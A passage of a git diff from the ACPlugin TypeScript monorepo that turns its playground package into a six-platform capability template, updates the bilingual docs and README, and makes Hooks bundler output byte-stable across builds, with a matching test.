## 16. 快速定位:我要改什么,先看哪里 @@ -805,7 +806,7 @@ canonical llmdoc-v3-themed authoring files | 修改 MCP transport/auth | MCP `types.ts`/`discovery.ts` | bundler smoke、所有 Adapter、Secret 测试 | | 修改发布边界 | package manifest、tsdown、verify script | publint、ATTW、tarball consumer、ESM import graph | | 修改文档信息架构或公共 API 页面 | `packages/docs`、公开源码 JSDoc | TypeDoc generation、VitePress dead link、`verify-docs` | -| 修改 Playground 模板或允许的兼容性 | `packages/playground` | typecheck、结构化 degradation 白名单、两平台真实 build | +| 修改 Playground 模板或允许的兼容性 | `packages/playground` | typecheck、六平台白名单、Hook/MCP 协议、双构建确定性 | ## 17. 推荐阅读顺序 @@ -819,6 +820,6 @@ canonical llmdoc-v3-themed authoring files 6. 再读 Codex,理解 fallback、兼容性和复杂 Validator。 7. 最后读 Hooks/MCP 的 `types → discovery → bundler → adapters`,理解横向能力如何不侵入 Platform。 8. 用 `packages/test` 中对应集成测试反向验证自己的理解。 -9. 最后从 `packages/docs` 看公共叙事与 API,从 `packages/playground` 看最小真实消费闭环。 +9. 最后从 `packages/docs` 看公共叙事与 API,从 `packages/playground` 看完整真实消费闭环。 本仓库的核心判断口诀是:**谁拥有数据、谁能读取来源、谁负责最终验证、失败时旧输出是否仍完整。** 遇到新需求时先回答这四个问题,通常就能找到正确 package 和正确抽象层。 diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index c03f7f1..bbe0fd7 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -40,7 +40,7 @@ Instructions are intentionally outside the installable Plugin boundary. Hooks an The TypeScript 7 compiler is installed across workspaces through the cataloged `@typescript/native` alias, so every package `tsc` script uses 7.x. The root keeps the official `@typescript/typescript6` compatibility API under the `typescript` name only for tools such as typescript-eslint and the comment AST checker, because TypeScript 7 no longer exposes the legacy JavaScript compiler API. TypeDoc uses the same TypeScript 6 compatibility family inside `@acplugin/docs`; production package typechecking remains on TypeScript 7. Vitest, tsdown, Rolldown, and Node types are also shared through the catalog; package-specific runtime and lint dependencies stay in the package that owns them. -The CLI entry is `packages/acplugin/src/cli.ts`; the facade is `packages/acplugin/src/index.ts`, and `packages/acplugin/src/project-config.ts` loads trusted project configuration. Official integration factories live only in their own packages. `packages/docs` builds the VitePress/manual and generated API surface, while `packages/playground` exercises the published authoring boundary as an llmdoc v3 themed template smoke. +The CLI entry is `packages/acplugin/src/cli.ts`; the facade is `packages/acplugin/src/index.ts`, and `packages/acplugin/src/project-config.ts` loads trusted project configuration. Official integration factories live only in their own packages. `packages/docs` builds the VitePress/manual and generated API surface, while `packages/playground` exercises the published authoring boundary as a domain-neutral full-capability template smoke. ## Migration boundary diff --git a/llmdoc/overview/project.zh-CN.md b/llmdoc/overview/project.zh-CN.md index c5aaff8..210834a 100644 --- a/llmdoc/overview/project.zh-CN.md +++ b/llmdoc/overview/project.zh-CN.md @@ -40,7 +40,7 @@ Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是 各 Workspace 通过 catalog 中的 `@typescript/native` 别名安装 TypeScript 7 编译器,因此所有 Package 的 `tsc` Script 都实际使用 7.x。由于 TypeScript 7 不再暴露旧 JavaScript Compiler API,根目录只为 typescript-eslint 和注释 AST 检查器把官方 `@typescript/typescript6` 兼容 API 安装为 `typescript`。TypeDoc 在 `@acplugin/docs` 内使用同一 TypeScript 6 兼容系列,正式 Package typecheck 仍保持 TypeScript 7。Vitest、tsdown、Rolldown 和 Node 类型同样通过 catalog 共享;平台专属运行时与 Lint 依赖仍由实际使用它们的 Package 独立声明。 -CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面位于 `packages/acplugin/src/index.ts`,`packages/acplugin/src/project-config.ts` 负责加载可信工程配置。官方集成工厂只存在于各自 package 中。`packages/docs` 构建 VitePress 手写内容与自动 API,`packages/playground` 则以 llmdoc v3 主题模板验证已发布作者边界。 +CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面位于 `packages/acplugin/src/index.ts`,`packages/acplugin/src/project-config.ts` 负责加载可信工程配置。官方集成工厂只存在于各自 package 中。`packages/docs` 构建 VitePress 手写内容与自动 API,`packages/playground` 则以领域中立的全能力模板验证已发布作者边界。 ## Migration 边界 diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 32792a7..14a4f6c 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -9,8 +9,9 @@ - Ecosystem packages: every official Platform/Extension imports only the public SDK from `@tokenroll/acplugin` through `workspace:^`; packed peer ranges are normal semver, and the main-package factory's private Symbol brands interoperate with clean-consumer third-party Platforms through one peer instance. The main package has no official integration manifest dependency or re-export. - MCP packaging: the official Extension publishes a lightweight `index.mjs` and a lazy local-stdio `bundler.mjs`; the main package has no optional Extension/Rolldown runtime dependency. The isolated Migration lazy chunk bundles only the official integrations needed to validate generated projects. - Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. +- Playground: `packages/playground` is a domain-neutral six-Platform capability template with four Commands, one `project-workflow` Skill plus auxiliary assets, three Agents, all 11 portable Hook events, four HTTP/OAuth/Bearer/stdio MCP declarations, Public assets, and Claude Code/Codex Marketplace distributions. Its verifier executes supported Hook wires and local MCP JSON-RPC bundles, checks the 211-entry compatibility matrix and eight DeliveryUnits, proves Artifact/file-tree closure, and compares repeated-build report bytes, file hashes, and modes. - Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. -- Validation: lint, TypeScript 7 typecheck, package and cross-package Vitest suites, build, ATTW/publint, `release:verify`, and `docs:check` pass for the `0.0.1-beta` workspace. Nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. +- Validation: lint, TypeScript 7 typecheck, 219 package and cross-package Vitest tests, build, ATTW/publint, `playground:check`, `release:verify`, and `docs:check` pass for the `0.0.1-beta` workspace. The Playground materializes 361 verified files across six Platform output roots; nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. - Release phase: `0.0.1-beta` remains a validation and real-world usage cohort. The nine public packages advance directly to stable `1.0.0` only after the agreed observation period completes without unresolved release blockers and the full release-readiness matrix is rerun. ```text diff --git a/package.json b/package.json index ab9e1b8..f9b5b54 100644 --- a/package.json +++ b/package.json @@ -19,7 +19,7 @@ "playground:validate": "pnpm --filter @acplugin/playground run validate", "playground:build": "pnpm --filter @acplugin/playground run build", "playground:verify": "node scripts/verify-playground.mjs", - "playground:check": "pnpm run build && pnpm run playground:typecheck && pnpm run playground:verify && pnpm run playground:build", + "playground:check": "pnpm run build && pnpm run playground:typecheck && pnpm run playground:verify", "docs:check": "pnpm run docs:build && pnpm run docs:verify && pnpm run playground:check", "pretest": "pnpm run build", "test": "pnpm --config.enable-pre-post-scripts=false -r --if-present run test", diff --git a/packages/docs/.vitepress/config.mts b/packages/docs/.vitepress/config.mts index 1001f67..ac7f0ce 100644 --- a/packages/docs/.vitepress/config.mts +++ b/packages/docs/.vitepress/config.mts @@ -90,7 +90,7 @@ export default defineConfig({ ], '/playground/': [ { text: 'Playground 总览', link: '/playground/' }, - { text: 'llmdoc v3 模板', link: '/playground/llmdoc-v3' }, + { text: '全能力模板', link: '/playground/capability-template' }, ], '/resources/': [ { text: '资源总览', link: '/resources/' }, diff --git a/packages/docs/playground/capability-template.md b/packages/docs/playground/capability-template.md new file mode 100644 index 0000000..2c5e68b --- /dev/null +++ b/packages/docs/playground/capability-template.md @@ -0,0 +1,54 @@ +# 全能力模板 + +`packages/playground` 是仓库内真实 ACPlugin consumer,以通用工程示例覆盖 Commands、Skill auxiliary、Agents、全部 portable Hooks、HTTP/local MCP 与 Public 文件,不绑定任何具体产品领域。 + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import mcp from '@tokenroll/acplugin-extension-mcp'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; + +export default defineConfig({ + name: 'acplugin-capability-playground', + version: '0.1.0', + description: 'Complete ACPlugin capability template for integration exercises.', + platforms: [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()], + extensions: [hooks(), mcp()], + build: { strict: false }, +}); +``` + +## 模板内容 + +- `init`、`update`、`prune`、`upgrade` 通用工程 Commands。 +- `project-workflow` Skill、四个工作流 references 与两个 Skill-local icon。 +- investigator、reflector、recorder Agents。 +- 全部 11 个 portable Hook 事件及其无副作用语义结果。 +- public、OAuth、Bearer 三类 remote HTTP MCP,以及完整 local stdio MCP。 +- runtime/schema/upgrade 静态资源示例、品牌资源和四个 Public 模板。 +- 六个平台主交付单元与 Claude Code/Codex Marketplace。 + +## 输出验证 + +验证器消费真实 `validate --json` 和 `build --json`,逐项检查六平台兼容性矩阵、Artifact Registry 与文件树闭包、Component 转换内容、Manifest/Config 引用、Hook runtime、MCP JSON-RPC、Secret 不泄漏和双构建字节确定性。平台明确 unsupported 的事件或 transport 必须出现在兼容性报告中,同时不得生成伪配置或伪运行文件。 + +## 模板边界 + +Playground 不实现具体产品业务,只展示作者工程结构、公开 API、平台转换、Extension 协议和交付产物验证。示例 Handler 与 Server 无持久化副作用。 + +Codex 和 Antigravity 会把 Command 转为 `command-*` Skill,Pi 转为 Prompt Template;Codex、Antigravity 和 Pi 会把 Agent 降级为 `agent-*` guidance Skill。这些是平台明确报告的兼容性结果。 + +Hooks 和 MCP 提供可执行但无持久化副作用的协议模板;`public/schemas` 只展示静态资源交付位置,不构成业务 Schema。因此它是 ACPlugin 全能力 packaging/template smoke,不是平台官方 conformance suite。 + +## 运行 + +```bash +pnpm playground:check +``` + +配置使用 `strict: false` 是为了显式观察六平台的真实能力差异;结构、安全、owner、来源和事务错误仍必须失败。仓库 verifier 会精确接受已声明的 degradation/unsupported,同时验证这些不支持项没有生成伪 Artifact。 diff --git a/packages/docs/playground/index.md b/packages/docs/playground/index.md index 0d3dde7..a79c865 100644 --- a/packages/docs/playground/index.md +++ b/packages/docs/playground/index.md @@ -1,5 +1,5 @@ # Playground -仓库内 Playground 是以 llmdoc v3 为主题的 ACPlugin packaging/template smoke。 +仓库内 Playground 是不绑定具体产品领域的完整 ACPlugin packaging/template smoke,真实构建六个平台、全部 portable Hooks、HTTP/local MCP 和两个 Marketplace。 -[查看 llmdoc v3 模板说明](./llmdoc-v3.md) +[查看全能力模板说明](./capability-template.md) diff --git a/packages/docs/playground/llmdoc-v3.md b/packages/docs/playground/llmdoc-v3.md deleted file mode 100644 index 1034c05..0000000 --- a/packages/docs/playground/llmdoc-v3.md +++ /dev/null @@ -1,43 +0,0 @@ -# llmdoc v3 模板 - -`packages/playground` 是仓库内真实 ACPlugin consumer,以 llmdoc v3 的作者资源形态覆盖 Commands、Skill auxiliary、Agents、Hooks 与 Public 文件。 - -```ts -import { defineConfig } from '@tokenroll/acplugin'; -import hooks from '@tokenroll/acplugin-extension-hooks'; -import claudeCode from '@tokenroll/acplugin-platform-claude-code'; -import codex from '@tokenroll/acplugin-platform-codex'; - -export default defineConfig({ - name: 'llmdoc-v3-playground', - version: '0.1.0', - description: 'llmdoc v3 authoring template for ACPlugin integration exercises.', - platforms: [claudeCode(), codex()], - extensions: [hooks()], - build: { strict: false }, -}); -``` - -## 模板内容 - -- `init`、`update`、`prune`、`upgrade` Commands。 -- `llmdoc` Skill 与 Frontier、transaction、reflection promotion、compact continuation references。 -- investigator、reflector、recorder Agents。 -- SessionStart、PreCompact、Stop 三个 no-op Hooks。 -- runtime/schema/upgrade 边界说明和四个知识模板。 - -## 已知差异与非目标 - -Playground 不实现 Frontier 状态、fingerprint、knowledge graph、delta、transaction、rollback、`meta.json`、可执行 Schema、Migration runtime、MCP、增量更新或缓存。 - -Codex Command 当前生成 `command-*` Skill,不等同于 llmdoc v3 的 `llmdoc-*` 目标命名。Codex Agent 降级为 `agent-*` guidance Skill,不是 `runtime/agents` scoped subagent。`upgrade` 只有显式入口,不能证明完整迁移正文物理惰性加载。 - -三个 Hook 都返回 `void`,不会读写知识库。`public/schemas` 只有边界说明,不构成 Schema。因此它是 packaging/template smoke,不是 llmdoc v3 产品实现或 conformance suite。 - -## 运行 - -```bash -pnpm playground:check -``` - -配置使用 `strict: false` 是为了允许已知 Codex Agent degradation 及其向依赖 Command 的传播;结构、安全、owner、来源和事务错误仍必须失败。仓库 verifier 会拒绝白名单之外的新诊断或任何 unsupported 结果。 diff --git a/packages/docs/resources/package-map.md b/packages/docs/resources/package-map.md index fd2f0b3..d248e51 100644 --- a/packages/docs/resources/package-map.md +++ b/packages/docs/resources/package-map.md @@ -24,6 +24,6 @@ Extension package 同时拥有作者格式、build state 和面向六个平台 | --- | --- | | `@acplugin/test` | 跨包 Vitest、tarball 和架构验证 | | `@acplugin/docs` | VitePress 与九个公开入口的 TypeDoc 生成 | -| `@acplugin/playground` | llmdoc v3 主题 packaging/template smoke | +| `@acplugin/playground` | 领域中立的全能力 packaging/template smoke | Docs 与 Playground 都是私有消费者,不进入 Changesets 或 release tarball。 diff --git a/packages/extensions/hooks/src/bundler.ts b/packages/extensions/hooks/src/bundler.ts index eb4603a..485788e 100644 --- a/packages/extensions/hooks/src/bundler.ts +++ b/packages/extensions/hooks/src/bundler.ts @@ -175,18 +175,39 @@ function isNativeAddon(moduleId: string): boolean { return path.extname(normalized) === '.node'; } +/** + * 移除 Rolldown 为模块边界生成的 region 注释,同时保留用户和第三方的法律注释。 + * + * Hook 的虚拟 runner 位于 Core 每轮创建的随机 workDir;Rolldown 默认把这个 + * 绝对临时路径写入 `//#region`,会让相同输入的 Handler 字节和报告 hash 漂移。 + * region 标记不参与运行语义或许可履约,因此必须在提交 Artifact 前移除。 + * + * @param code Rolldown 唯一输出 Chunk 的源码。 + * @returns 不含机器路径相关 region 标记的稳定 ESM 源码。 + */ +function stableChunkCode(code: string): string { + return code.replace(/^\/\/#(?:end)?region[^\r\n]*(?:\r?\n|$)/gmu, ''); +} + /** * 把 Rolldown 实际解析的作者模块图登记给 Core,排除 Extension 自己生成的临时入口。 * * @param context 当前 Extension build 上下文。 * @param moduleIds 输出 Chunk 中的全部模块 ID。 + * @param generatedEntry 当前构建独占且不应进入 dev 监听集合的 runner 真实路径。 */ -function registerBundleWatchFiles(context: ExtensionBuildContext, moduleIds: readonly string[]): void { +function registerBundleWatchFiles( + context: ExtensionBuildContext, + moduleIds: readonly string[], + generatedEntry: string, +): void { for (const moduleId of moduleIds) { /** 查询参数不属于文件名,虚拟模块与相对 ID 也不能交给文件监听器。 */ const file = moduleId.replace(/\?.*$/u, ''); if (!path.isAbsolute(file)) continue; + if (file === generatedEntry) + continue; /** runner.mjs 位于每轮都会删除的 workDir,监听它会制造无效重建。 */ const relative = path.relative(context.workDir, file); if (relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative))) @@ -206,9 +227,13 @@ async function bundleHook(hook: DiscoveredHook, context: ExtensionBuildContext): /** 当前 Hook 独占的 Bundle 工作目录。 */ const directory = path.join(context.workDir, hook.id); await fs.mkdir(directory, { recursive: true }); + /** Rolldown 使用真实路径解析模块;macOS 的 `/var` 别名必须先与 `/private/var` 对齐。 */ + const realDirectory = await fs.realpath(directory); + /** 作者入口同样规范化,避免相对 import 跨越文件系统别名后落到不存在的路径。 */ + const realSourcePath = await fs.realpath(hook.sourcePath); /** 动态生成且导入用户 hook.ts 的 Rolldown 入口。 */ - const runner = path.join(directory, 'runner.mjs'); - await fs.writeFile(runner, createRunnerSource(hook, directory)); + const runner = path.join(realDirectory, 'runner.mjs'); + await fs.writeFile(runner, createRunnerSource({ ...hook, sourcePath: realSourcePath }, realDirectory)); /** 保留 Node 内置模块为 external 的内存构建结果。 */ const output = await rolldownBuild({ input: runner, @@ -233,10 +258,10 @@ async function bundleHook(hook: DiscoveredHook, context: ExtensionBuildContext): if (Object.keys(chunk.modules).some(isNativeAddon)) throw new Error(`Hook "${hook.id}" includes an unsupported native addon.`); // dev 必须跟随 Rolldown 的真实解析结果,而不是只监听 hook.ts 描述入口。 - registerBundleWatchFiles(context, Object.keys(chunk.modules)); + registerBundleWatchFiles(context, Object.keys(chunk.modules), runner); /** 最终贡献给 Plugin 的独立 ESM Handler。 */ const handler = path.join(directory, 'handler.mjs'); - await fs.writeFile(handler, chunk.code); + await fs.writeFile(handler, stableChunkCode(chunk.code)); /** Bundle 包含第三方依赖时生成的许可汇总。 */ const licenses = await writeThirdPartyLicenses(chunk, directory); return Object.freeze({ diff --git a/packages/extensions/hooks/test/hooks.test.ts b/packages/extensions/hooks/test/hooks.test.ts index e9a6f97..a283a1b 100644 --- a/packages/extensions/hooks/test/hooks.test.ts +++ b/packages/extensions/hooks/test/hooks.test.ts @@ -446,6 +446,39 @@ describe('Hooks Extension', () => { )).toContain('fixture-dependency@2.3.4'); }); + it('keeps Handler bytes and report hashes stable across isolated work directories', async () => { + /** 单个 Hook 足以暴露随机 Extension workDir 曾进入 Rolldown region 注释的问题。 */ + const root = await createProject({ + hooks: [{ id: 'session-start', definition: `{ event: 'SessionStart', run() {} }` }], + }); + /** 第一次完整构建的稳定报告。 */ + const first = await runProject({ cwd: root, command: 'build', mode: 'production' }); + /** 第一次事务提交后的 Handler 原始字节。 */ + const firstHandler = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs')); + /** 相同输入下由新 workDir 完成的第二次构建报告。 */ + const second = await runProject({ cwd: root, command: 'build', mode: 'production' }); + /** 第二次事务提交后的 Handler 原始字节。 */ + const secondHandler = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs')); + + expect(first.success).toBe(true); + expect(second.success).toBe(true); + expect(secondHandler).toEqual(firstHandler); + expect(secondHandler.toString('utf8')).not.toMatch(/^\/\/#(?:end)?region/mu); + expect(secondHandler.toString('utf8')).not.toContain(root); + expect(secondHandler.toString('utf8')).not.toContain('src/hooks/session-start/hook.ts'); + expect(second.deliveryUnits).toEqual(first.deliveryUnits); + /** 删除 Canonical 源码后,安装产物仍必须只依赖相邻 wire 并可独立执行。 */ + await fs.rm(path.join(root, 'src/hooks'), { recursive: true }); + /** 删除源码后执行已安装 Handler 的进程结果。 */ + const execution = await runHandler( + path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs'), + 'claude-code', + JSON.stringify({ session_id: 'session-1', cwd: root, hook_event_name: 'SessionStart', source: 'startup' }), + { CLAUDE_PLUGIN_ROOT: '/plugin-root', CLAUDE_PLUGIN_DATA: '/plugin-data' }, + ); + expect(execution).toEqual({ code: 0, stdout: '', stderr: '' }); + }); + it('normalizes input, maps results, bounds I/O, and never exposes handler failures', async () => { /** 复用完整事件 fixture 取得真实构建后的 Handler。 */ const root = await createProject({ hooks: canonicalHooks(), dependency: true }); diff --git a/packages/playground/README.md b/packages/playground/README.md index 9d9f11c..cc1858d 100644 --- a/packages/playground/README.md +++ b/packages/playground/README.md @@ -1,6 +1,6 @@ # @acplugin/playground -这是以 llmdoc v3 为主题的 ACPlugin packaging/template smoke。它用真实公开 package、Canonical Scanner、Hooks bundler、Platform Adapter、DeliveryUnit validator 和托管事务构建 Claude Code/Codex 产物。 +这是一个不绑定具体产品领域的完整 ACPlugin capability template。它用真实公开 package、Canonical Scanner、Hooks/MCP bundler、Platform Adapter、DeliveryUnit validator 和托管事务构建六个平台产物。 ```bash pnpm --filter @acplugin/playground typecheck @@ -12,16 +12,28 @@ pnpm --filter @acplugin/playground build ## 包含的模板 -- `init`、`update`、`prune`、`upgrade` 四个 Command。 -- `llmdoc` Skill 和四个 references auxiliary files。 +- `init`、`update`、`prune`、`upgrade` 四个通用工程 Command;`init` 同时覆盖 argument hint、参数占位符和 Claude Code/Codex 平台字段。 +- `project-workflow` Skill、四个通用工作流 references 和两个 Codex Skill icon auxiliary files。 - `investigator`、`reflector`、`recorder` 三个 Agent。 -- `SessionStart`、`PreCompact`、`Stop` 三个可 bundle no-op Hook。 -- runtime/schema/upgrade 边界说明和四个 Public Markdown 模板。 +- 全部 11 个 portable Hook 事件,覆盖 matcher、timeout、status message、Codex context limit 和事件级语义结果。 +- public、OAuth scopes、Bearer env/header 三种远程 HTTP MCP,以及可真实执行 `initialize`、`tools/list`、`tools/call` 的 local stdio MCP。 +- runtime/schema/upgrade 静态资源示例、品牌 SVG 和四个 Public Markdown 模板。 +- Claude Code/Codex 自包含 Marketplace,以及 Cursor、Antigravity、OpenCode、Pi 的主交付单元。 -## 明确非目标 +## 验证范围 -此工程不实现 Frontier 状态、fingerprint、knowledge graph、delta、transaction、rollback、`meta.json`、可执行 Schema、Migration runtime、MCP、增量更新或缓存。三个 Hook 返回 `void`,不会读写知识库。 +仓库根的 `pnpm playground:check` 不只检查文件是否存在。`scripts/verify-playground.mjs` 会: -Codex 会把 Command 生成 `command-*` Skill,把 Agent 降级成 `agent-*` guidance Skill;这不等同于 llmdoc v3 目标中的 `llmdoc-*` 命名或 scoped `runtime/agents`。因此配置使用 `strict: false`,并要求构建报告只出现这些已知 Agent 降级及其向依赖 Command 的传播。 +- 对六个平台的 211 条 compatibility 记录和 84 条预期降级/不支持项执行精确白名单校验。 +- 比较 BuildResult Artifact Registry 与真实 `dist` 文件树,并按字节检查 Skill auxiliary、Public 和 Marketplace 继承产物。 +- 解析 Manifest、Hooks 配置和 MCP 配置,确认所有引用存在,且 unsupported 能力没有伪造 Artifact。 +- 用真实子进程执行每个受支持的 Hook `handler.mjs + wire.mjs`,并对三个 local MCP bundle 执行完整 JSON-RPC smoke。 +- 用 Secret 探针扫描报告和产物,连续构建两次并比较全部文件 hash 与 mode。 -`upgrade` 是显式 Command 骨架,但不能证明完整迁移正文被物理惰性加载。本 workspace 不是 llmdoc v3 产品实现或 conformance suite。 +## 模板边界 + +此工程只演示 ACPlugin 的作者资源、配置字段、平台转换和 Extension 协议。Command、Skill、Agent、Hook、MCP 与 Public 文件使用无持久化副作用的示例逻辑,第三方作者应替换为自己的产品能力。 + +Codex、Antigravity 和 Pi 会把 Agent 降级成 `agent-*` guidance Skill;Codex/Antigravity 还把 Command 转成 `command-*` Skill,Pi 转成 Prompt Template。配置使用 `strict: false` 以展示平台差异,但 verifier 只接受六平台矩阵中逐项声明的 degradation/unsupported。 + +本 workspace 是能力覆盖和 packaging smoke,不是任何具体产品的实现或平台官方 conformance suite。 diff --git a/packages/playground/acplugin.config.ts b/packages/playground/acplugin.config.ts index 6737c31..e367fd1 100644 --- a/packages/playground/acplugin.config.ts +++ b/packages/playground/acplugin.config.ts @@ -1,15 +1,79 @@ import { defineConfig } from '@tokenroll/acplugin'; import hooks from '@tokenroll/acplugin-extension-hooks'; +import mcp from '@tokenroll/acplugin-extension-mcp'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; +import openCode from '@tokenroll/acplugin-platform-opencode'; +import pi from '@tokenroll/acplugin-platform-pi'; -/** llmdoc v3 主题模板的真实 acplugin 构建配置。 */ +/** 覆盖全部官方集成能力的 ACPlugin 模板配置。 */ export default defineConfig({ - name: 'llmdoc-v3-playground', + name: 'acplugin-capability-playground', version: '0.1.0', - description: 'llmdoc v3 authoring template for acplugin integration exercises.', - displayName: 'llmdoc v3 Playground', - platforms: [claudeCode(), codex()], - extensions: [hooks()], + description: 'Complete ACPlugin capability template for integration exercises.', + displayName: 'ACPlugin Capability Playground', + author: { + name: 'TokenRoll', + email: 'maintainers@tokenroll.ai', + url: 'https://github.com/TokenRollAI', + }, + homepage: 'https://github.com/TokenRollAI/acplugin', + repository: 'https://github.com/TokenRollAI/acplugin', + license: 'MIT', + keywords: ['acplugin', 'plugin-template', 'agent-skills', 'mcp'], + platforms: [ + claudeCode({ + defaultEnabled: false, + marketplace: { + name: 'acplugin-capability-playground-marketplace', + owner: { name: 'TokenRoll', email: 'maintainers@tokenroll.ai' }, + category: 'Developer Tools', + tags: ['acplugin', 'plugin-template'], + }, + }), + codex({ + interface: { + shortDescription: 'Explore a complete ACPlugin authoring template.', + longDescription: 'A repository-local template that exercises canonical resources, Hooks, MCP, Public files, and all six official Platform deliveries.', + developerName: 'TokenRoll', + category: 'Developer Tools', + capabilities: ['Command workflows', 'Lifecycle hooks', 'MCP tools'], + websiteURL: 'https://github.com/TokenRollAI/acplugin', + supportURL: 'https://github.com/TokenRollAI/acplugin/issues', + defaultPrompt: [ + 'Initialize the ACPlugin capability template for this repository.', + 'Review the generated Platform outputs for this template.', + ], + brandColor: '#FACC15', + brandColorDark: '#EAB308', + composerIcon: './assets/acplugin.svg', + logo: './assets/acplugin.svg', + }, + marketplace: { + name: 'acplugin-capability-playground-marketplace', + displayName: 'ACPlugin Capability Playground Marketplace', + category: 'Developer Tools', + policy: { installation: 'AVAILABLE' }, + }, + }), + cursor({ + publisher: 'TokenRoll', + logo: './assets/acplugin.svg', + category: 'Developer Tools', + tags: ['acplugin', 'plugin-template'], + minClientVersions: { cursor: '1.0.0' }, + }), + antigravity(), + openCode({ workspace: { schema: true } }), + pi({ + package: { + image: './assets/acplugin.svg', + video: 'https://example.com/acplugin-playground.mp4', + }, + }), + ], + extensions: [hooks(), mcp()], build: { strict: false }, }); diff --git a/packages/playground/package.json b/packages/playground/package.json index 2ffa261..783aeb9 100644 --- a/packages/playground/package.json +++ b/packages/playground/package.json @@ -14,8 +14,13 @@ "devDependencies": { "@tokenroll/acplugin": "workspace:^", "@tokenroll/acplugin-extension-hooks": "workspace:^", + "@tokenroll/acplugin-extension-mcp": "workspace:^", + "@tokenroll/acplugin-platform-antigravity": "workspace:^", "@tokenroll/acplugin-platform-claude-code": "workspace:^", "@tokenroll/acplugin-platform-codex": "workspace:^", + "@tokenroll/acplugin-platform-cursor": "workspace:^", + "@tokenroll/acplugin-platform-opencode": "workspace:^", + "@tokenroll/acplugin-platform-pi": "workspace:^", "@types/node": "catalog:", "@typescript/native": "catalog:" } diff --git a/packages/playground/public/assets/acplugin.svg b/packages/playground/public/assets/acplugin.svg new file mode 100644 index 0000000..3fb816a --- /dev/null +++ b/packages/playground/public/assets/acplugin.svg @@ -0,0 +1,4 @@ + + + + diff --git a/packages/playground/public/resources/templates/document.md b/packages/playground/public/resources/templates/document.md index 4694bfb..4e51a81 100644 --- a/packages/playground/public/resources/templates/document.md +++ b/packages/playground/public/resources/templates/document.md @@ -1,13 +1,13 @@ -# Knowledge document template +# Task plan template -## Statement +## Objective -写出一个范围明确、可验证的稳定结论。 +写出范围明确、可以验收的任务目标。 -## Evidence +## Inputs -列出支持结论的源码位置或权威来源。 +列出源码入口、配置、接口和其他可信输入。 -## Applicability +## Acceptance -注明适用版本、前提和失效条件。 +列出验证命令、预期输出和明确非目标。 diff --git a/packages/playground/public/resources/templates/domain.md b/packages/playground/public/resources/templates/domain.md index 135b959..933802a 100644 --- a/packages/playground/public/resources/templates/domain.md +++ b/packages/playground/public/resources/templates/domain.md @@ -1,8 +1,8 @@ -# Domain template +# Component template ## Scope -描述此 Domain 覆盖的代码、责任和明确排除项。 +描述此 Component 覆盖的代码、责任和明确排除项。 ## Sources @@ -10,4 +10,4 @@ ## Invariants -记录必须持续成立的架构或行为约束。 +记录必须持续成立的架构、数据和行为约束。 diff --git a/packages/playground/public/resources/templates/reflection-case.md b/packages/playground/public/resources/templates/reflection-case.md index 0a1c5d9..3cc3ee2 100644 --- a/packages/playground/public/resources/templates/reflection-case.md +++ b/packages/playground/public/resources/templates/reflection-case.md @@ -1,13 +1,13 @@ -# Reflection case template +# Review template -## Candidate lesson +## Finding -描述可能值得提升的经验。 +描述可复现的问题、证据和影响范围。 ## Counterexamples -检查该经验在哪些场景不成立。 +检查结论在哪些场景不成立或属于预期行为。 -## Promotion decision +## Decision -记录提升、修订、暂缓或拒绝及其证据。 +记录修复、接受、暂缓或拒绝及其理由。 diff --git a/packages/playground/public/runtime/README.md b/packages/playground/public/runtime/README.md index caf2aed..1b8508a 100644 --- a/packages/playground/public/runtime/README.md +++ b/packages/playground/public/runtime/README.md @@ -1,3 +1,3 @@ -# Runtime placeholder +# Runtime asset example -完整 llmdoc v3 runtime 应拥有 Frontier、fingerprint、graph、delta、恢复和知识事务。此目录只验证 Public 文件交付,不包含可执行 runtime。 +此目录展示 Public 资源可以按原始字节进入每个交付单元。它不包含可执行代码,第三方作者可以将其替换为目标插件需要的静态 runtime 资源。 diff --git a/packages/playground/public/schemas/README.md b/packages/playground/public/schemas/README.md index d587849..1c9e827 100644 --- a/packages/playground/public/schemas/README.md +++ b/packages/playground/public/schemas/README.md @@ -1,3 +1,3 @@ -# Schema placeholder +# Schema asset example -完整产品应提供严格、版本化并带迁移策略的 Schema。本模板故意不提供“接受任意对象”的占位 Schema,避免把结构 smoke 误认为数据校验。 +此目录展示 Schema 等静态 Public 文件的交付位置。能力模板不定义业务数据结构,第三方作者应提供与自身输入格式匹配的严格 Schema。 diff --git a/packages/playground/public/upgrade/README.md b/packages/playground/public/upgrade/README.md index ec1657a..3d74ae6 100644 --- a/packages/playground/public/upgrade/README.md +++ b/packages/playground/public/upgrade/README.md @@ -1,3 +1,3 @@ -# Upgrade placeholder +# Upgrade guide example -完整 upgrade 流程应显式选择目标版本、验证备份、按版本加载迁移正文并在提交前检查全部候选。本模板只有 Command 与内容边界。 